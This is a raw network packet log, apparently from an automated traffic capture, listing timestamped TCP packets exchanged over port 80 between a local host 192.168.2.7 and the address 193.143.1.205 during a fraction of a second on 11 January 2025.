Jan 11, 2025 02:58:07.028557062 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.028589964 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.028589964 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.029206991 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.029217958 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.029231071 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.029284000 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.029294014 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.029301882 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.029301882 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.029304981 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.029315948 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.029460907 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.029479980 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.029490948 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.029501915 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.029506922 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.029519081 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.029566050 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.030142069 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.030153036 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.030163050 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.030209064 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.030220032 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.030230999 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.030241013 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.030263901 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.030263901 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.030369997 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.030380011 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.030390024 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.030400991 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.030411005 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.030416965 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.030416965 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.031038046 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.031049013 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.031059027 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.031080961 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.031080961 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.031132936 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.031143904 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.031153917 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.031164885 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.031193018 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.031209946 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.031209946 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.031240940 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.031251907 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.031261921 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.031322002 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.031322002 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.037189007 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.041189909 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.057240963 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.057425976 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.057435989 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.057446957 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.057512999 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.057559967 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.061414003 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.097155094 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.097167969 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.097177982 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.097188950 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.097198963 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.097209930 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.097224951 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.097234964 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.097245932 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.097255945 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.097342014 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.097342014 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.115725994 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.115767956 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.115777969 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.115807056 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.115818024 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.115866899 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.115907907 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.115907907 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.115910053 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.115921021 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.115943909 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.115953922 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.116007090 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.116007090 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.138078928 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.138092041 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.138102055 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.138113022 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.138123989 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.138149977 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.138200045 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.138211012 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.138241053 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.138241053 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.138370037 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.138381004 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.138391972 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.138448000 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.138448000 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.156624079 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.156641006 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.156651020 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.156661987 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.156672955 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.156682014 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.156692028 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.156702042 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.156712055 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.156722069 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.156732082 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.156742096 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.156760931 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.156776905 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.156779051 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.156779051 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.156788111 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.156799078 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.156809092 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.156819105 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.156835079 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.156835079 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.156835079 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.156852007 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.156862974 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.156879902 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.156888962 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.156898975 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.156908035 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.156917095 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.156917095 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.156924963 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.156935930 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.156945944 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.156955004 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.156965971 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.156976938 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.156976938 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.156976938 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.156985998 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.156996965 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.157006979 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.157021999 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.157032013 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.157032967 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.157032967 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.157042980 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.157052994 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.157063007 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.157073975 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.157083988 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.157084942 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.157084942 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.157094002 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.157104015 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.157114983 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.157130957 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.157131910 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.157131910 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.157187939 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.157458067 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.157469988 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.157480001 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.157504082 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.157510042 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.157515049 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.157525063 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.157536030 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.157546043 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.157569885 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.157741070 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.157752037 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.157762051 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.157773018 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.157783031 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.157793999 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.157804012 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.157804966 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.157814026 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.157825947 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.157836914 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.157860041 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.157860994 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.157872915 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.157903910 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.161938906 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.161972046 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.161983967 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.161998987 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.162024021 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.162034988 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.162048101 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.162050009 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.162085056 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.162110090 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.162121058 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.162132025 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.162149906 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.162180901 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.162185907 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.162197113 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.162209034 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.162220001 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.162251949 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.162298918 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.162309885 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.162321091 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.162331104 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.162341118 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.162389994 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.162519932 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.162611008 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.162636995 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.162652016 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.162652969 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.162663937 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.162674904 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.162694931 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.162723064 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.181992054 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.185862064 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.185879946 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.185933113 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.185955048 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.185966969 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.185977936 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.186058044 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.186120987 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.186132908 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.186144114 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.186150074 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.186175108 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.186182976 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.186194897 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.186207056 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.186209917 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.186220884 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.186232090 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.186233044 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.186255932 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.186271906 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.186276913 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.204720974 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.204734087 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.204746008 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.204828024 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.204849005 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.204850912 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.204860926 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.204873085 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.204883099 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.204904079 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.204932928 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.225925922 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.225939035 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.225949049 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.225960970 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.225971937 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.225982904 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.225986004 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.225995064 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.226047993 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.226059914 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.226066113 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.226067066 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.226073027 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.226083994 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.226095915 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.226105928 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.226106882 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.226128101 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.226155996 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.244579077 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.244597912 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.244606972 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.244642019 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.244652987 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.244666100 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.244669914 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.244716883 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.244721889 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.244740963 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.244791031 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.244791985 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.244802952 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.244822025 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.244832039 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.244854927 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.244865894 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.244888067 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.244951010 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.244961977 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.244972944 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.244985104 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.245007038 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.245043039 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.245054960 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.245064974 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.245101929 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.245148897 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.245184898 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.245202065 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.245214939 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.245225906 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.245237112 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.245265007 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.245289087 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.245292902 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.245300055 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.245316029 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.245332956 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.245388031 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.245398045 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.245409012 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.245425940 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.245449066 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.245481014 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.245491982 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.245501995 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.245526075 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.245582104 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.245593071 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.245603085 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.245618105 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.245620966 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.245630026 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.245640993 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.245672941 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.245800018 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.245810986 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.245820999 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.245831966 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.245843887 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.245871067 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.245896101 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.245908976 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.245923996 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.245934963 CET	80	49726	193.143.1.205	192.168.2.7
